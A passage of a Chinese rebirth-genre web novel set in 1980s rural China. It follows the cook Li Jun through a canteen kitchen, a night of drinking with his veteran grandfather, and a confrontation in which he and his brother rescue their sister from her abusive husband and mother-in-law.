左祖安由衷的赞美让王家福像是吃了屎一样难看,分明是在挤兑他刚才的话。
听到招呼,李庆林没啥顾忌,直接拿起勺子品尝,郑文杰却看了看自己师傅,有些不敢僭越。
王家福冷着脸走向黎军这边,他是愤怒不是傻,若是黎军做的真比他的好吃,他也不介意多学点技巧,就是这打脸似乎来的有些猛,让人有些难堪。
食堂大厅西北角,屏风隔开的包间里,坐着华家全家,侯胜利、廖建国等人。
上首位置,身穿中山装,看着就像是干部模样的中年男人就是侯正东,旁边是他的老婆董莹。
华老三满脸堆笑:“他叔,他姨,对这门亲事呢,我们都没意见,丫头也觉得胜利是个好孩子,很满意他。”
两家人在这坐了不短的时间,通过廖建国的三寸不烂之舌,已经成功把两家人撮合到一起了。
“呵呵,我们也没意见,胜利这臭小子被他妈宠坏了,平时行为有些过激,为此我没少痛扁他,等结婚后,就交给妮娜好好管教吧!”
侯正东很有领导架势,说话气场十足。
董莹面容含笑:“也不是我宠,还是这孩子太皮了,这男人嘛,结了婚性子就稳妥了,以后妮娜好好的管着他。”
“既然啥都说好了,阿莹,你点菜吧!”
董莹笑嘻嘻道:“最重要的事情还没说呢,你倒是问问亲家,看闺女要多少彩礼。”
“哦……对对对,瞧我这记性,亲家,我们就一个儿子,也没经过这事,你看需要多少彩礼,直接说,咱们饭桌上直接就把礼通了。”
侯正东笑呵呵的看着华老三两口子。
“哎呀,咱们这是结亲呢,亲家帮了我们这么大忙,解决了两个儿子的工作问题,还要啥彩礼。”
马翠花拿捏着嗓音,脸上笑容都挤成菊花了。
“嗨,这是两码事,彩礼是彩礼,人情归人情,结亲了帮你们点忙算什么。”
侯正东风轻云淡,解决两个临时工名额对他来说,费不了多大事。
“亲家你看着给吧,多少我们都没意见。”
黎军要是在这,保准能惊的栽一跟头,自己在华家人眼里,干脆就是一坨屎,人品都被低估了好吧!
“哈哈哈……亲家也是爽快人,那我就看着给了,阿莹,赶紧点菜,一会我跟亲家好好的喝几杯。”
饭桌上,侯胜利跟华妮娜坐在一起,一只手时不时的伸向美人的玉手,这双手简直勾走他的三魂七魄了。
董莹桌子下踢了踢儿子的脚,这货猴急的跟猪八戒一样。
华妮娜红着脸躲避,心想这货太大胆了,还有家长在呢,就这么肆无忌惮。
不过她心里倒是美美的,有道是男人不坏,女人不爱。
侯正东到底是公社书记,出手不是一般的大方,一食堂所有硬菜都被点了一遍。
东坡肘子、梅菜扣肉、八宝葫芦鸡、老陕过油肉,糖醋松鼠鱼、红烧甲鱼,六个大荤还有四个精美凉菜。
华龙华虎眼睛都直了,口水吞咽就没停过,马翠花时不时瞪着这俩二货,生怕他们整出啥丢人事情。
菜单进后厨后,左祖安先接过来看了一眼,然后走到砧板跟前,安排人手抓进时间配菜。
对于一食堂来说,这样的硬菜也不是特别频繁售出的。
以往甲鱼这些硬菜,都是他和王家福亲自上手。
今天不一样,上次黎军的红烧甲鱼让他很意外,他自认为是做不出那种高度的。
“老王,炸个葫芦鸡、翻个东坡肘子,李庆林,你去凉菜间安排他们凉菜,黎师傅,红烧甲鱼交给你了,水台会给你宰杀好。”
黎军腹诽:几个菜啊,就紧张成这样,一群没见过世面的家伙。
“左厨,还要不要做盘饰?”
硬菜必须要装饰下,左祖安看了看黎军,又看了看问话的凉菜厨子,觉得有些为难。
“你擅长什么雕刻?”
“嘿嘿……我勉强会刻西瓜盅,装甲鱼行不行?”
“可以,瓜瓤不要去太净,就半寸吧!”
不等左祖安发话,黎军就吩咐道。
他就是临时过来帮忙的,还是非常不情愿的那种,有什么用什么就行了。
两个小时后,客流高峰期已经过了,侯家和华家人喝的是五迷三道,尤其是华龙华虎,免费的五粮液每人干下去一瓶,舌头大的都说不了话了。
这时侯正东起身往吧台而去,他久经酒桌考验,华家爷仨捆起来也不是个。
他打算赶紧结账,免得一会这爷仨倒了丢他的人。
吧台前,几个老头正抢着买单,其中一个满头白发的吸引了他的目光。
“您是黎老?”
老头扭头看向他:“你认识我?”
“真的是您啊,我是小侯,今年春节我去郭书记那里拜访,见过您一面,当时您跟书记在喝酒。”
老头皱眉半晌,也没想起来侯正东是谁。
“抱歉啊,我经常跟小郭喝酒,不记得了,这年龄大了,记性不好,你这是?”
“哦,黎老,我在这跟亲家吃个便饭?”
说到这里,侯正东看向吧台里:“二号结账,顺便连这位老先生的也结了。”
“不用不用,我们几个老家伙有人管饭,不用你结账。”
老头严厉拒绝:“萍水相逢要你结什么账,你结自己的就行了。”
侯正东弄了个没趣,悻悻的结了自己的账。
“那行,黎老,您歇着,我去招待下客人。”
老头点头:“嗯……你走吧!”
第16章 黎老爷子
侯正东刚走近屏风,就跟廖建国撞了个满怀。
“老侯,那老头是谁啊,看着气场蛮强的?”
侯正东回头看了一眼:“具体我也不知道他是干嘛的,过年那会去郭书记家拜年时见过一面,郭书记对他特别尊重,应该是某个退下来的大人物吧!”
“那个……亲家,咱们今天就到这吧,我喝得有点多,想回去睡一会,下午还要去公社开个会。”
回到桌子前,侯正东对华老三道。
“哦……那行了,咱们都先回,回头让俩孩子多处处。”
“侯……叔,那就再……见了。”
“侯……哥,我……们……哥俩这酒量不赖吧,我还能喝……点?”
华龙华虎大着舌头送客,华虎都开始称兄道弟了。
华老三一听侯哥,一个大逼兜子就抡在华虎脖颈上。
“闭嘴,亏你先人的货。”
说罢尴尬地看向侯正东:“对不住啊……亲家,这货喝多了。”
侯正东脸色其实有点黑,不过因酒精作用有点涨红。
“没事没事,下周一俩孩子报道的事别忘了。”
“嗯嗯,那不能够,这事他们上心着呢,亲家母,你们慢走啊,改天上家里坐坐,我跟老婆子给你们杀鸡。”
“嗯,会的会的,胜利啊,一会你开车送你岳父一家回去,我跟你妈走着回去就行了。”
侯家本就在县城居住,走着也就几条街道而已。
侯胜利可以说正中下怀,他早就想送华妮娜回家了。
一家人走出饭店大门,侯胜利先把准岳父岳母扶上车,又把两个东倒西歪的准小舅子塞进后座。
吉普车后座塞四个人有些挤,但是华家人却不在乎,吉普车,这可是领导才能坐的。
这玩意村里兜一圈,那情绪价值不要太满,要是再绕道黎军家门前一趟,岂不是面子里子都有了,保不齐还能气死黎家老两口子。
“娜娜,上车”
侯胜利非常绅士地打开副驾,扶着华妮娜的腰胯让她上车,仿佛扶着一个孕妇一样体贴。
华妮娜正在看大门左侧,几个身穿白色大褂的厨子正在那里抽烟。
客流高峰已过,大师傅都在这吞云吐雾休息。
吸引华妮娜目光的,正是被拉出来吸烟的黎军,几个打荷的、配菜的抢着给他点烟,一副大哥大模样。
“娜娜看啥呢?”
侯胜利注意到华妮娜的目光,顺着看过去问道。
“派出所门口看见的黎军,想不到她在这里当了厨子。”
侯胜利看向黎军,这家伙很有辨识度,近一米八大高个放在人堆里太显眼了。
“放心吧,回头我找几个朋友,给他套麻袋胖揍一顿,美美的给你出出气,敢得罪老子的心肝宝贝,他怕是不知道马王爷长了几只眼睛。”
这货说着,一只咸猪手就摸上华妮娜的翘臀。
华妮娜有点慌张地推开,回头看了看车里,当着父母的面被摸屁股,多少有些尴尬。
“胜利……咱们走吧!”
华妮娜故意提高音量,吸引黎军等人往这边看过来。
前脚离开黎军,后脚她就上了公社书记儿子的车,让那些没眼力见的家伙后悔去吧!
很显然,她的目的达到了,黎军等人抽着烟,果然就看过来了。
看到华妮娜傲娇地上了吉普车,黎军翻了个白眼。
前世他被各种高端局豪车接送,眼前的破吉普车简直不要太垃圾。
“没见过世面!”
黎军嘀咕一声。
“我擦……这妹子真踏马正点。”
“看那个妞,长的真叫水灵。”
“可不是嘛,看她那大屁股,一看就是生儿子的料。”
一群后生看着华妮娜那叫一个眼馋。
黎军挺无语的,华妮娜除去吸血体质和扶弟魔属性,长得确实无可挑剔,这也是上一世他死心塌地想娶进门的根本原因。
“黎师傅……开饭了”
“大李哥,开饭了”
这时几个服务员在大门口招呼。
众人丢掉烟头,从侧门鱼贯而入。
“哎……那个小子,是我大孙子吗,给爷过来。”
就在黎军也要进门时,一道熟悉的声音传来。
其他还没进门的人都看向食堂大门口,只见一群须发尽白的老头在门口道别分手。
有人就说了:“看这些老头,都是离退休老干部,日子那叫一个舒坦。”
“可不是嘛,退休金拿着,小酒喝着,来回还有车接车送,真是羡慕死个人呢!”
“他们叫谁呢,怎么听着跟人身攻击一样?”
黎军却面露喜色,撒丫子跑向其中一个高大老头。
“爷……我的亲爷,你怎么在这?”
老头上下打量着黎军,捏捏这摸摸那。
“嗯嗯,不错不错,壮实了不少,是老黎家的血脉,你啥时候回来的?”
黎军被摸得不好意思:“嘿嘿嘿……爷,您能不能不摸了,跟收猪验膘似的。”
“哼、老黎家的孙子,爷想摸那个就摸那个,小时候我还就喜欢摸你们的小鸡鸡呢!”
黎军脸都黑了,这大写的尴尬啊!
“爷,我转业到二食堂了,大前天回来的,本来要去看你的,家里出点事耽搁了。”
黎老爷子皱眉:“出啥事了?”
“我退婚了”
老爷子怔了一下,然后叹了口气:“退了就退了吧,地主老财的后代,我听着就不太爽,今晚去爷爷那里,咱们爷孙好好的说说话。”
说到这里,黎军突然想起个事,上一世就是这个时间段,他转业后不久,老爷子出了意外。
那时候老干所没有通暖气,靠蜂窝煤取暖,有一天夜里变天,冷风倒灌,结果老爷子一氧化碳中毒,送医院没抢救过来。
回想追悼会上,那些来自市里省里的大人物,黎军不禁唏嘘,要是老爷子健在,恐怕自己的人生又是另一个结局。
重来一回,那样的惨剧绝不能再发生,老爷子离世时刚过七十,身体硬朗,胃口倍棒,酒量还超好,再活个一二十年问题都不大。
想到这里,黎军抱住老爷子:“爷,我想你了!”
老爷子被突如其来的行为整得有点懵:“这才一年不见,就想成这样,爷没白疼你,老黎家十个孙子,我就稀罕你跟强子,晚上去爷爷那里。”
黎军用力点头:“嗯嗯,爷爷想吃啥,晚上我给你做?”
老爷子拍了拍黎军后背推开他,然后对几个懵懵的老头笑道。
“老哥几个,我大孙子回来了,晚上去我那再喝点咋样?”
第17章 爷孙夜话
“还是别了,我们可没你老黎那身板。”
“对对对,还是老命重要,偶尔喝点就行了。”
“还是你自己跟大孙子喝吧,这小子一看就是你的血脉,应该是个爱喝酒的。”
一群老头对黎军开始品头论足,黎军赶紧笑着过去打招呼,一口一个爷爷,那叫得一个顺嘴。
这群人都是他爷爷辈的,没啥意外都是老战友,从华夏那个艰苦岁月,顶着无数枪林弹雨一路走来,值得所有人尊敬的存在。
晚上忙到六点半,黎军跟左祖安请假,正常下班要到九点,那时候老爷子恐怕都睡了。
“你刚上班就请假,不太好吧?”
没出意外,左祖安直接就摆起了总厨架子。
“我刚回来还不到一个礼拜,家里长辈啥的都没去看望,再说了,我是二食堂编制,来这边只是帮忙的,不是卖给一食堂了。”
黎军平淡的盯着左祖安,他是部队转业来的,即便是能给他穿小鞋,也不敢真正把他咋的。
再说了,他知道再有三年不到,推动租赁、承包经营,明确全民所有制阶段就要提上日程,到时候像饮食公司这样的国营摊子,百分之八十都要下岗。
而且他的重心不在食堂上班上,他积累财富的密码,都掌握在重来一次的秘密中。
“呵呵……黎军同志,这是干工作不是儿戏,你要提前下班,我不得安排一下吗?”
左祖安笑容下隐藏着阴翳。
“我没来一食堂生意照样顶呱呱,多我一个不多,少我一个不少,你安排吧,我有事就不伺候了。”
黎军说完根本不给左祖安开口机会,直接摔门而去。
提着中午在供销社买来的点心等物,一路往老干所而去。
老干所在临县最西边,跟军事疗养院相邻,那些曾经为国家和人民抛头颅洒热血的革命家退休后,都被安置在这里,平时衣食住行都有专门的部门负责。
这也是黎老爷子退休后,没有住在家里的根本原因。
那年头农村条件差,物资贫乏,甚至可以说要啥没啥。
住在老干所就不一样了,吃得好住得好,出门还有小车接送,日子不要太舒坦。
走到门口,他朝卫兵敬了个礼,那卫兵问也没问就放行了。
八年的老兵会不自主地流露出当兵的气势,这是模仿不来的。
黎军小时候经常来这里,对老爷子的住所非常清楚。
一排排两层的窑洞式小楼,据说还是六几年困难时期修的,足见国家对这些功臣的重视。
最后一排楼房前,满头白发的黎老爷子在窗口忙活,手里一根长长的烟囱上下比划。
黎军赶紧跑过去接住:“爷,你这是准备生炉子,干嘛不叫个勤务兵过来。”
老干所是有勤务兵值班的,不过不像以前了,几十号老人配了一个班现役士兵照顾。
“我先拿出来看看,还能不能用,后勤处说锅炉没货,今年还是没有暖气,这些人办事效率太差了。”
老爷子接过黎军手里的袋子说道。
黎军看了看烟囱,这玩意是白铁皮做的,不耐腐蚀,基本上每年都要换新。
老一辈人节俭,舍不得扔,一氧化碳倒灌,也是因为伸出窗外的烟囱没有装弯头所致。
看着已经腐蚀出破洞的烟囱,黎军抬手就扔到墙根底下。这一世他绝不能让悲剧重演。
“不能用了,明天我去买新的帮您换上,我说爷,要不然您搬回去吧,家里有人照顾多好。”
老爷子不舍地看了看被扔出去的烟囱,在大孙子屁股上轻踢了一下。
“回去干嘛,在这有吃有喝不花钱,还有人服侍,回去了你妈能给我天天买酒喝?”
“咋不能,您把退休金给我妈,看她给你买不买就完了。”
老爷子近两百块退休金,这在农村根本不敢想,这些年要不是老爷子帮衬,黎家四兄弟日子也不能这么舒坦。
“想都别想,你爸哥四个,哪个不惦记我的工资,我老头子有钱,儿子们才能孝顺,没钱的话你试试。
你爷不糊涂,这钱我留着该吃吃,该喝喝,孩子们有事了我伸把手,没事离得远远的,少见面多稀罕,也省得惦记我这点退休金!”
黎军嘴角抽了抽,上一世他见过太多不孝顺的事了,有道是家宽出贤人,那些把一切都奉献给子女的,老了没人赡养的多的是。
“嘿……这话说的,还得是我爷,活得这叫一个通透,对了爷,你大孙子讨老婆,你出不出钱?”
“出啊”
“真的,出多少?”
“二百五”
“啊……还是算了吧,我自己能挣钱,您知道大孙子挣几级工资吗?”
“谁管你几级,现在回来了,一个月最少给我买一箱酒。”
黎军跟着老爷子走进屋子,房子是老式筒子楼形式,两间相连有三十多平,外间是客厅,里边卧室。
“没问题,骊山白管够。”
“坐那,这拿的是什么啊?”
老爷子指着沙发说道。
“您爱吃的卤猪头肉,正好熟食店有,就给您买了几斤,还有一把香蕉,老年人吃了可以缓解便秘。”
因为物流不发达,香蕉在当时是稀罕货,要三四毛一斤。
“没有酒吗?”
“嘿嘿嘿……爷,中午喝了晚上还要喝,您这么大年纪了,一天喝一顿就行了,别贪嘴啊,喝多了伤身。”
老爷子板起脸,掰下一根香蕉一边剥皮一边往外走。
“没酒要猪头肉干嘛,馋老头子吗?”
“哎哎哎……你这老头咋不经闹呢,一年不见能不给你带酒吗,看这是什么?”
黎军说着,从两边裤兜里分别掏出一瓶茅台。
“哎呀,还得是我大孙子啊,就馋这一口呢,来,给爷倒上。”
老爷子瞬间切换成喜悦模式,从五斗柜里拿出两个玻璃杯子,在黎军对面坐下。
“可把我心疼坏了,一瓶就要八块多呢!”
“给你爷喝还心疼?”
“嘿嘿……那不能够。”
窗外夜色如墨,屋内灯影灰黄,爷孙俩就着猪头肉,喝着白酒,说着一年不见的贴心话。
从清末到民国,军阀混战,抗日战争,内战,从讨饭到参加革命,再到解放后、十年特殊时期,改革开放……最后又从黎军牙牙学语到蹒跚学步,再到背起小书包上学……然后辍学参军入伍,再到现在……
黎军安静地听着老爷子回忆过去,讲述现在,时不时给他倒茶斟酒、夹菜。
他是黎家的长孙,是老爷子的心尖尖,也许年龄大了,想要个倾诉的对象,老爷子今晚话特别多……
第18章 缺德带冒烟
夜里快十点,黎军按住老爷子的手:“爷,咱别再喝了,这一瓶给你留着明天再喝。”
老爷子点头:“嗯,爷也喝到位了,年龄大了,顶到头半斤,不敢再多了。”
“对了爷,我现在转业到二食堂了,过些天要是天冷上冻了,我住到你这来可以不。”
“你打呼噜吗?”
老爷子起身问道。
“不……打吧”
“有啥不行的,你过来爷爷高兴还来不及呢,有个人倒尿盆多好的事。”
筒子楼里只有楼上楼下两个厕所,冬天太冷不方便,起夜都是在尿盆里解决的。
“嘿嘿,我就是想着给爷爷倒尿盆的。”
“呵呵……”
第二天天不亮,黎军睁眼,看了看已经空了的床铺,知道老爷子已经出去跑步了。
整理一下内务,将自己的被子叠成豆腐块,跟老爷子的放在一起,也出了院子,顺着街道开始跑步。
原本是打算去姐姐家的,但是左祖安使坏,让二食堂员工分流去其他两个食堂帮忙,只能今天晚上再去了。
上班后,用饭店的电话往村里打了个电话,跟弟弟说了一声,约好晚上去姐姐家。
中午休息,黎军在供销社给两个外甥买了糖果,给姐姐买了一大堆日用品,又给她公公婆婆买了几样糕点和两瓶西凤酒。
晚上照例提前下班,左祖安虽然气的鼻子都要歪了,但是脸上还是挂着招牌式的笑,一再表示要遵守公家的制度等等。
黎军根本不鸟他,说完就走。
七点到家,跟弟弟一人骑了辆自行车往姐姐家而去。
黎秀比黎军大三岁,从小就帮黎母照看弟弟妹妹,是家里最听话的孩子。
十八岁在爷爷的帮助下,进了国棉三厂当了工人。
二十岁自由恋爱,嫁到相邻的跃进公社,丈夫张威是国棉三厂的临时工,家里还有三个弟弟一个妹妹,全都挤在一个院子里,生活过得一地鸡毛。
她是有正式工作的人,每个月固定工资四十八块,张威是临时工,工资只有二十八块。
张家日子紧巴,张威下边一个弟弟妹妹还在上学,另外两个弟弟跟父母务农,土里刨食。
张威的工资全部交给了家里,帮忙父母养活一大家子。
他们的小家四口人,全靠黎秀一个人的工资过活。
不过那年代钱少点日子一样过,四十八块手紧一点,一个月还能结余个十块八块的。
一年前,张威的二弟说了个媳妇,对方要二百六十块彩礼。
张家日子本就不宽裕,这笔钱就如同天文数字,于是主意就打到了黎秀身上。
当时的事情是这样的,黎秀跟张威下班回家,张母把儿子叫过去安排,要黎秀拿出自己攒的工资给二弟做彩礼。
黎秀当然不愿意了,就跟张威吵了起来。
结婚八年,张威自己的工资全部上交不说,黎秀几乎每个月还要给家里贴钱,每到弟弟妹妹报名,又是各种理由伸手借钱,一个女人心里怎能没点怨气。
张母见儿媳妇不愿意拿钱,直接破口大骂,什么不孝子,白眼狼,娶了媳妇忘了娘之类。
于是小两口爆发了结婚八年来头一次大战。
后来冷战了半个月,黎秀从女工宿舍搬回去才发现,自己藏在床板底下的存折被张威拿走,辛苦攒下的五百块钱一分不剩被张家人吸了个干净。
一个多月前,三弟又面临同样的事情,彩礼问题又难住了一大家子,不过这次彩礼成了三百六十块。
于是再次把主意打到黎秀身上,奈何这次黎秀是真的没钱了。
张威迫于老娘的压力,让黎秀回娘家借钱。
黎秀当时都气笑了,没脸没皮了都。无理要求被措辞不太友好的拒绝后,张威母子恼羞成怒,第二次婆婆、丈夫与儿媳大战爆发。
黎秀在家里是长女,父母的掌上明珠,被张威扇了两个大耳瓜子直接暴怒,伸手就把张威挠了个满脸花子。
张母一看暴跳如雷,冲上去就推了黎秀一把。好巧不巧脑袋磕在桌角上,当时就头破血流了,去医院缝了七八针直接住进厂里。
要不是小儿子二宝感冒发烧,黎秀都不想回那个糟心的家了。
今天下午,下班回家,刚走到院子门口,就听到婆婆张氏和三弟张小华坐在院子里说话。
张小华:“妈……香草家今天催我了,让我们赶紧准备彩礼呢,你说大嫂她到底还有钱没有,她不会把钱都给娘家花了吧?”
张氏恨恨的道:“她敢……她咋可能没钱,一个月四十八块钱工资,上班都十年了,少说也有几千块,你大哥也是个瓜怂铁憨憨,连自己婆娘都降服不住,上次被挠的一脸血扑搂子(血槽)”
这就是恶婆婆总认为你有钱,娘家慈母总觉得你没钱的典型案例。
“妈,这事你可得想办法,让大嫂把钱吐出来,要是拿不出钱来,肯定就是把钱给她娘家人花了。”
张小华无耻没下限,自己挣不来钱,把主意打到自家大嫂身上还觉得理所应当。
“今天你大嫂回来,我再跟她要,一家人过日子,这时候不出力等啥时候出力,难不成真想把钱给她娘家人花,这可不成。”
张氏有些尖酸的语气响起。
“妈,你说她要是真把钱给了娘家,咱们上她家要去闹咋样,听说大嫂的爷爷是啥老革命,退休金要两百多呢,那种人物最怕丢脸了!”
门外的黎秀听得都要吐了,见过无耻的,还没见过无耻带冒烟的,什么缺德玩意,还想去自己的娘家去闹腾,老黎家这是该了老张他家的吗?
咣当一声推开院门,黎秀冷着脸回了自己房间,连看也没看坐在院子里的婆婆和三弟。
“妈,她这是听见咱们说话了?”
张小华有点心虚地问张母。
张母脸拉得比驴脸都长,冲着大儿子房间喊道:“拉拉个脸给谁看呢,地里活一点不干,光上个破班还有功劳了,两个孩子都是谁给你带大的。”
黎秀一听又拿带孙子说是,心里那个气就不打一出来。
二弟那次,她心念婆婆帮自己带孩子辛苦了,五百块拿去就拿去了,事情过去以后,也没跟张家人计较。
不曾想张母因此变本加厉,一旦伸手要钱无果,就翻自己的功劳簿,拿带大两个孙子说事,这次居然厚颜无耻地把主意都打到她娘家去了。
就在这时,张威也回来了,听到他妈扯着嗓子对着自己房间喊,就皱眉问道。
“这是又咋了?”
“还又咋了,还不是你媳妇,一回来就拉着张臭脸,好像谁欠她钱似的。”
第19章 腚眼子拔罐
张威最近跟厂里几个工友经常喝酒,什么打到的媳妇揉到地面,老婆不打,上房揭瓦之类的话没少听,就觉得自家媳妇这是给宠坏的。
要不然老话说了,近朱者赤近墨者黑,跟那些老观念打老婆的人喝酒聊天,张威也涨了些行市。
一听到媳妇又给老娘甩脸子,这脑残玩意就气血上涌,大男子气概就压都压不住。
他就没想过让媳妇回娘家借钱这事有多不着调,好人谁能干出这事。
一脚踹开房门,指着黎秀就骂:“你这婆娘是皮痒了吗,让你回娘家借点钱咋了,都是实在亲戚,伸下手咋了,你不愿意借就算了,成天耷拉个臭脸给谁看。”
黎秀再次被气笑了:“哼……说得这么不要脸,这些年我娘家倒贴的还少了,你家里大事小情我妈少拿了,大宝二宝身上,从里到外的衣服,哪件不是我妈做的,你几个弟弟身上的衣服,一大半都是我弟的军装……
结婚八年了,你的工资一分不剩都交给了你妈,我说啥了,每个月我还要往家里搭钱,你弟你妹的学费,书本费,学杂费哪样不是我出的。
你二弟结婚出不起彩礼,偷我的钱也就算了,现在三弟又整这出,还把主意打到我娘家去了,我老黎家该你们家的啊……!
一条狗你给丢几根骨头,它也知道感恩摇尾巴呢,你们张家人就是个无底洞,全家都是吸血鬼。”
黎秀彻底愤怒了,一股脑把这些年的委屈都给倒了出来。
“啪”
她话音落地,就被张威一记耳光甩在脸上。
黎秀这次没有还击,捂着脸死死的瞪着张威,那眼神里尽是失望。
“这女人就是三天不打,上房揭瓦,一天三顿,拍得生顺。
我看你是在这家里分不清大小王了,不知道谁当家了。
你娘家贴补闺女点咋了,你上班十年,攒的钱没有五千也有三千吧,估计都在你妈手里吧!”
这话一出,黎秀更加忍不了了,一把推开张威出了屋子。
“宝他奶,你说话捂着心口,凭良心说好吧,我的工资去哪了,你心里没数吗,我爸我弟都是木匠,有手艺的人,一年少说能挣五六百,我妈才不会惦记我那点工资!”
黎秀气急,连妈也不想叫了。
“嘿,你们听听,大伙都听听,十里八乡有这样的儿媳妇吗,连我这个婆婆都不叫妈了,这像话吗。”
这时院子里来了一些吃瓜的,张氏又开始制造舆论压力了。
黎秀不想搭理她,冲着人群道:“叔伯婶子们,你们给评评这理,我二叔子结婚,彩礼二百六,我出了五百……,现在轮到老三了,居然还把主意打到我娘……”
“啪”
黎秀话没说完,又被张威打了一记耳光,鼻血汩汩往外冒。
张威不想让她说下去,这说出去人就丢大发了!
“哎哎,张威,你怎么能打黎秀呢?”
“就是,都是一家人,有话好好说吗,别动手。”
“这么好的媳妇上哪找去,小叔子结婚出了五百块,大张庄上下几十年都没有的啊!”
“太不像话了,哪有这么吸儿媳妇血的。”
“我要是有这么大气的儿媳妇,还不得用板板供起来。”
吃瓜群众开启议论和自检模式。
“都给老子滚出去”
张父黑着脸撵人,轰鸟一样把人群推出院子,咣当一声关上门。
家丑不可外扬!
“张威,你又打我,你个没良心的畜生,我跟你拼了。”
黎秀根本不管鼻子流血,上去就抓张威的脸。
张威看着媳妇流鼻血,心里其实有点慌,那血呼刺啦的看着就挺惨。
所以没注意就被黎秀抓花了脸。
张母一看,顿时就不乐意了,大男人被抓脸,咋出门呀,上次就没脸见人了好吧!
“打死这个泼妇,打到位她就老实了,男人的脸是随便抓的吗,都是给娘家人惯的。”
有老娘拱火,张威怒气值接着暴涨,噗噗就踹了黎秀几脚,把她踹倒在井沿边。
黎军和黎强骑着两辆自行车,赶到姐姐村的时候已经七点多了,这时候天色早就黑了。
俩人刚进村,就看见有村民三个一堆,五个一群在黑暗中闲聊。
初冬的夜里还是挺冷的,这情况明显异常。
“哥,这村人有啥毛病吧,乌漆嘛黑冷屁哇哇地在门口闲谝。”
“你管人家呢,没准村里出啥事,看热闹呗!”
黎秀婆家在进村口五六十米左右,俩人往前骑了不远,就听到有吵架声传来。
“咋听着像是大姐的声音呢!”
黎强听出声音有些熟悉,但是歇斯底里的咆哮让他懵懵的。
大姐一向温柔可人,从来不会大喊大叫,撒泼骂人根本就不敢想。
“快点,听着像是大姐跟人干仗了。
黎军赶紧催促。
大姐门口,几个小屁孩扒着门缝往里张望,张家院子里的灯光昏暗,人声鼎沸。
“狗蛋,你看到啥了?”
“秀婶被被他男人按在地上打呢!还有大宝他奶,在秀婶身上掐呢!”
这话简直就是给这哥俩上发条,姐姐啥时候遭过这罪,被人按在地上打,翻天了吗?
“嘭……咔嚓”
黎军扒拉开几个小孩,一脚就将张家院门踹开,门栓在大力之下直接折断。
眼前的一幕上哥俩血压狂飙,姐姐被姐夫骑在身上打,张氏还在背后发力,是那里肉软往那里掐,嘴巴里更是含祖宗量极高。
老黎家人啥时候受过这种鞋窝囊气了。
没等黎军抬腿,黎强大踏步就跨过门槛。
“卧槽你老张家八辈祖宗了,腚眼子拔罐……找死的玩意。”
“放开我姐”
哥俩撸袖子进了屋院子,怒吼声吓的张威一哆嗦,张氏更是肝都颤了。
娘俩混合双打媳妇,被人娘家人撞了个正着,这都不是尴尬了,而是大型社死场面了有木有。
“砰”
黎军后发限制,一脚踹在张威肩头,顺带连他妈也给扒拉到一边。
再看姐姐,怎是知道惨字了得,鼻血糊了一脸,也看不出是那里受伤,身上衣服破破烂烂,裤子都被扒到膝盖处,大腿上到处红里透黑的掐痕。
这是张母的杰作,掐人嫌裤子碍事,也是农村老太太掐架惯用的伎俩,扒人裤子掐大腿,揪头发挠脸吐口水,主打一个伤害性不大,侮辱性极强。
“姐,这是咋了,怎么给人祸害成这样了。”
第20章 你有娘家的
“姐……这……这是咋了?”
黎强也是喉头哽咽,说不出完整的话来。
哥俩小时候都是姐姐带的,感情特别亲,一看姐姐被人打成这样,一时间气得浑身直突突。
黎军颤抖地将黎秀裤子提上去,心疼地摸着头顶和脸颊,想要看是哪里受伤了。
黎秀一看是两个弟弟来了,再也忍不住嚎啕大哭,两行眼泪像断线的珠子滚落。
“姐……起来再说。”
哥俩扶起姐姐,上下打量,并没有去看张威母子一眼。
“没事,流鼻血了。”
许久之后,黎秀止住哭声,走向井沿的水桶边。
哥俩同时一把抓住她,生怕她想不开了,那口水井现在看着就像是要择人而噬的怪物。
“姐洗把脸,大宝二宝快回来了。”
听到这话,哥俩才算是放心了。
姐姐没事,张家人该有事了,兄弟俩同时看向张威。
这货禁不住打了个寒颤,两个小舅子看他的眼神仿佛在看一个死人。
“狗日的张威,你胆子肥了啊!”
“老子弄死你,你个穿旗袍的大马猴,不是人的玩意……”
两个砂锅大的拳头同时干在张威脸上,这货直接像个破布口袋一样仰面栽倒。
下一刻,两只四十三码大脚丫子踩死猪一样往他身上招呼。
“老寿星上吊,找死的东西。”
“泥马批的杂碎,让你打我姐,我打死你个猪猡。”
“啊……啊……救命啊,黎军、黎强,你们听我说,听我……解释”
“解释泥麻辣皮的,我整死你个王八蛋……”
哥俩在气头上,根本不管张威的求饶,只是死命地朝他腰胯,大腿,屁股上招呼。
“唉吆喂……打死人了,救命啊!”
张母杀猪一样满院子嚎叫起来,他家的几个儿子之前还在房门前看热闹,一看见黎家哥俩进门,全都躲进屋里不出来了。
兄弟俩都是一米八大高个,生得孔武有力,对普通人来讲,绝对的压迫感十足,张家兄弟哪敢这时候触霉头。
张父这时在屋子里待不住了,看着自己儿子被打得鬼哭狼嚎,他是真怕白发人送黑发人。
“住手,黎家的小子,小华、小武,你们是死人吗,想看着你大哥被人打死吗,快去你爷家里叫人?”
张家哥几个这才硬着头皮出来,张小华撒丫子往大门外跑去。
“秀……你饶了我吧,我知道错了,再也不敢打你了!”
张威带着哭腔向黎秀求饶,再不认错,他怕被这哥俩生生踹死,这两个大脚丫子,每一下都势大力沉,踩在身上他觉得都要散架了。
黎家哥俩都是聪明人,没有往张威要害招呼,万一打出什么大毛病,他俩也得跟着吃瓜落。
“黎秀,快让你弟弟住手,真想你男人被打死吗,成了寡妇对你有什么好处?”
张母和张父冲上去几次拉架,都被哥俩扒拉到一边,他们可没对老头老太太动手的念头。
张氏扯着嗓子哭吼,嗓音一度失真。
黎秀洗完脸,用卫生纸揉成一个球,塞进鼻孔里,这才打量了一下正死命输出的两个弟弟。
“军……强子,别打了,孩子们看见了不好。”
黎军和弟弟对视一眼,揍这个畜生,让两个外甥看见了的确不太好,毕竟这是孩子的父亲。
“便宜你这牲口了,我姐嫁到你们家,一天跟个老妈子似的伺候你们一家子,泥马的……把人伺候成畜生了。”
“不是人的玩意,再让我们知道你打我姐,我弄死你王八蛋。”
哥俩临走又猛踹了躺在地上的张威几脚,心里的恶气简直没法释放。
“去我屋里说。”
黎秀指了指自己房间。
哥俩臭着脸进屋。
这是关中地区一边盖的厦房,黎秀和张威占了一间,面积不大,只有十多平,土墙上糊着报纸,结婚时用红色毛线织的大红“喜”字还在墙上挂着。
靠着火炕有两张老式太师椅,进门后,哥俩在椅子上坐下。
灯光下,黎军突然看到姐姐额头的伤疤,顿时心里一惊。
“姐,你额头这是咋了,也是被打的吗?”
黎强仔细一看,顿时就坐不住了,刚按下的无名火腾地一下升起。
“我看这狗日的是想死了,我去废了他。”
黎秀一把拉住弟弟:“这是不小心磕的……”
